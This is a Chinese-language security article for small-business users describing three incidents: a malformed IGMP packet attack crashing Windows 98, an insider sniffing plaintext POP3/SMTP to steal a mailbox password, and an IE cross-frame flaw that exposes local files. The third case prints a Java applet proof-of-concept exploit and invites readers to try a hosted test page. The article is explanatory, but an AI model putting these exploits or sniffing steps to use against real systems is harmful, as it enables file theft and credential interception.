前言:翻开《电脑报》、《中国计算机世界》、《中国计算机报》等主流IT媒体,你会发现:网络安全已经成为时下的一个最热话题,人们越来越关心他们的信息系统是否处于安全状态。从广义上将,信息系统和网络安全是一个巨模型,其中涉及的技术和管理领域知识面非常宽广。那么,对于我们普通的计算机用户,在日常的商业应用中,我们的信息系统容易受到来自哪些方面的安全威胁呢?如何能够实施一定的基本配置使我们的计算机系统处于相对安全的状态呢?
第一部分:从中小型商业环境的应用需求来看网络与信息安全
一个典型的中小型商业环境的网络结构是这样的:

网络应用模型:使用共享式HUB或者2层交换机作为网络中心连接设备,计算机数量一般在几台至几十台之间,没有专门的内部WEB服务器、邮件服务器、DNS服务器,主要操作系统采用WINDOWS98,在内部网中主要采用共享文件夹(如My Document)的方式来实现数据的交流和信息共享;与INTERNET连接的方式是通过拨号上网,多数同事通过拨号上网的主机代理上网,但是有个别人也可以直接拨号上网。
发生的几个安全问题(举例):
1、事件描述:
MIKE是某从事国际贸易的跨国公司高级销售代表,为了节省长途费用,平时使用OICQ与客户洽谈业务,有一天收到了一个人的邀请,对方称对MIKE公司的产品非常感兴趣,希望和MIKE多交流,于是MIKE将对方加入到自己的联系人列表中。这次交流持续了约30分钟,但是从此以后MIKE再也没有在QQ上遇见这个人。同时也出现了一个奇怪的现象:每当MIKE上网,并且启动OICQ,他的系统响应就会变慢,并且频繁死机。这是为什么?(注意:Mike是直接通过MODEM拨号上网的。)
分析:
这次安全威胁产生的过程是这样的:
Step1.
通过聊天软件发现对方IP地址。

Step2.
探测对方操作系统(追捕/NMAP)

Step3.
使用针对该系统弱点的软件实施攻击

结果:导致win98系统响应缓慢,甚至蓝屏
原理:利用Win98的IGMP协议自身的弱点,发送畸形IGMP数据包进行攻击。
2、事件描述:
Eldrid是公司的高级项目经理,而John是公司的不得志的小职员,并且与Elgrid一直不合,John最近喜欢研究网络安全方面的技术。Eldrid在公司局域网内习惯使用outlook收发业务邮件,Elgrid最近总是发现公司职员们好象知道大量的公司未公开的机密信息,Elgrid怀疑公司机密信息泄露。这是为什么?
分析:这是一次典型的由内部人员产生的安全威胁,其过程是这样的。
Step1.
John通过对网络安全技术的学习了解了明文传输协议的特点。
Step1.
Elgrid收发邮件使用的POP3/SMTP协议是明文协议。

Step3.
John使用Sniff(嗅探器)软件对POP3/SMTP协议进行截获。

Step4.
最后得到了Eldrid的邮箱口令,将邮件收到自己的信箱中。
总结:来自内部网络的安全威胁对系统造成损害的可能性和成功率非常高。
3、事件描述:
Nancy是公司的高级文员,每天的工作是为公司整理网上的各种资料和新闻,有一天她在浏览某个网站时,突然发现自己计算机上的文件被显示在了网页上。这是为什么?
分析:这是由于恶意的服务端代码造成的客户端信息泄露。
Step1.
浏览网站,弹出警告显示:将测试C:\test.txt(事先要建立)

Step2.
本机C:\test.txt显示在浏览器上。

原理:利用IE浏览器在执行JAVA或JAVAScript时的cross-frame漏洞。
如:
------jsinject.html---------
SRC="file://c:/test.txt"
说明:黑客可以利用这一漏洞来获得系统的很多文件。
使用这个URL自己试试:www.nat.bg/~joro/jsinject.html
下面是利用这一漏洞的javascript源代码:
/*
Written by Georgi Guninski
Parameter: jscode - javascript code to be executed in IFRAME
*/
import java.applet.Applet;
import netscape.javascript.*;
public class jsinject extends Applet {
public void doit()
{
try
{
JSObject win = (JSObject) JSObject.getWindow(this);
JSObject doc = (JSObject) win.getMember("document");
JSObject I1 = (JSObject) doc.getMember("I1");
JSObject loc = (JSObject) I1.getMember("location");
loc.setMember("href",getParameter("jscode"));
}
catch(Exception x){System.out.println(x.toString());}
}
}